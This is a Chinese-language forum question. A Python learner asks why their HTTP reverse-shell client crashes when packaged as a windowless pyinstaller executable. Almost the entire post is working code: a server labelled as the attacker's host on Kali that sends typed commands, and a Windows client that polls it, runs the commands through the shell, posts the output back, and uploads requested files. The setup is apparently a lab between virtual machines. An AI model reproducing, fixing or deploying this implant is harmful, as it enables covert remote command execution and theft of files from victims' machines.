我对使用 python 编程相当陌生,并且能够在从解释器运行脚本时使代码正常工作。但是,当我使用 pyinstaller 创建一个无窗口的单个文件可执行文件时,当我向客户端发送一个简单的命令(例如 dir)时,它会崩溃。服务器端运行在 Kali 虚拟机上,客户端运行在 Windows 虚拟机上。
我希望有人能够看到我缺少的东西,当从 exe 运行时会导致客户端崩溃,但在解释器中可以正常工作。
服务器代码:
from http.server import BaseHTTPRequestHandler, HTTPServer
import os, cgi
hostname = "10.10.10.100" #Host(attacker) IP address
port = 80 #Listening port number
class MyHandler(BaseHTTPRequestHandler):
def do_GET(self):
command = input("Shell> ") #get command input
self.send_response(200) #send OK message
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(command.encode()) #send command to client
def do_POST(self):
if self.path == "/store": #Check for /store in URL signalling a file transfer
try:
ctype, pdict = cgi.parse_header(self.headers["content-type"])
if ctype == "multipart/form-data":
fs = cgi.FieldStorage(fp = self.rfile, headers = self.headers, environ ={"REQUEST_METHOD":"POST"})
else:
print("[-] Unexpected POST request")
fs_up = fs["file"] #Here file is the key to hold the actual file
with open("/root/Desktop/1.txt", "wb") as tfile: #Create new file and write contents into this file
tfile.write(fs_up.file.read())
self.send_response(200)
self.end_headers()
except Exception as e:
print(e)
return # once we store the received file in our file holder, we exit the function
self.send_response(200)
self.end_headers()
length = int(self.headers["Content-Length"]) #Define the length which means how many bytes the HTTP POST data contains
postVar = self.rfile.read(length) # Read then print the posted data
print(postVar.decode())
if __name__ == "__main__":
server_class = HTTPServer
myServer = server_class((hostname, port), MyHandler)
try:
myServer.serve_forever()
except KeyboardInterrupt: #if we got ctrl+c we will Interrupt and stop the server
print("[!] Server terminated")
myServer.server_close()
客户代码:
import requests #requests library
import subprocess #system operations
import time #time library
import os
while True:
req = requests.get("http://10.10.10.100") # This sends get request to the Attacker
command = req.text # Received text will be saved in command variable
if "terminate" in command:
break #terminate connection
elif "grab" in command:
grab,path = command.split("*")
if os.path.exists(path): #check if file exists
url = "http://10.10.10.100/store" #Append /store in the URL to signal file transfer
files = {"file": open(path, "rb")} # Add a dictionary key where file will be stored
r = requests.post(url, files=files) # Send the file
else:
post_response = requests.post(url="http://10.10.10.100", data="[-] File not found")
else: #execute given command
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
post_response = requests.post(url="http://10.10.10.100", data=CMD.stdout.read()) # POST the result
post_response = requests.post(url="http://10.10.10.100", data=CMD.stderr.read()) # POST the error
time.sleep(3) # create a pause between commands